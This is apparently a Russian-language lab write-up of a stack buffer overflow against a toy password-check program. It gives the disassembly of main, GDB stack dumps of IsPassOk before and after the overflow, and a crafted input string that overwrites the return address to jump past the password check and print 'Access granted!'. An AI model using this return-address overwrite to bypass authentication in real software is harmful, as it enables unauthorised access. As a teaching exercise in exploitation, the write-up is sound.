

Адрес по которому находится строка printf("Access granted!\n");

```
=> 0x000000000040118a <+0>: sub    $0x8,%rsp
0x000000000040118e <+4>: lea    0xe74(%rip),%rdi    # 0x402009
0x0000000000401195 <+11>: call   0x401030 <puts@plt>
0x000000000040119a <+16>: call   0x401156 <IsPassOk>
0x000000000040119f <+21>: test   %eax,%eax
0x00000000004011a1 <+23>: je     0x4011b9 <main+47>
0x00000000004011a3 <+25>: lea    0xe7d(%rip),%rdi    # 0x402027
0x00000000004011aa <+32>: call   0x401030 <puts@plt>
0x00000000004011af <+37>: mov    $0x0,%eax
0x00000000004011b4 <+42>: add    $0x8,%rsp
0x00000000004011b8 <+46>: ret
0x00000000004011b9 <+47>: lea    0xe59(%rip),%rdi    # 0x402019
0x00000000004011c0 <+54>: call   0x401030 <puts@plt>
0x00000000004011c5 <+59>: mov    $0x1,%edi
0x00000000004011ca <+64>: call   0x401060 <exit@plt>
```

Кадр стека функции IsPassOk до ввода escape-последовательности

```
(gdb) p $rsp
$1 = (void *) 0x7fffffffe2d0
(gdb) x/32bx 0x7fffffffe2d0
0x7fffffffe2d0: 0x00    0xd0    0xff    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffe2d8: 0xf0    0x3d    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffe2e0: 0x18    0xe4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe2e8: 0x9f    0x11    0x40    0x00    0x00    0x00    0x00    0x00
```

После

```
(gdb) x/32bx 0x7fffffffe2d0
0x7fffffffe2d0: 0x00    0xd0    0xff    0xf7    0x41    0x41    0x41    0x41
0x7fffffffe2d8: 0x42    0x42    0x42    0x42    0x43    0x43    0x43    0x43
0x7fffffffe2e0: 0xf0    0xe2    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe2e8: 0xa3    0x11    0x40    0x00    0x00    0x00    0x00    0x00
```

Результат

```
◆37 > ./app2 < test
Enter password:
Access granted!
```

Escape-последовательность:

"AAAABBBBCCCC\xf0\xe2\xff\xff\xff\xf7\x00\x00\xa3\x11\x40\x00\x00\x00\x00\x00"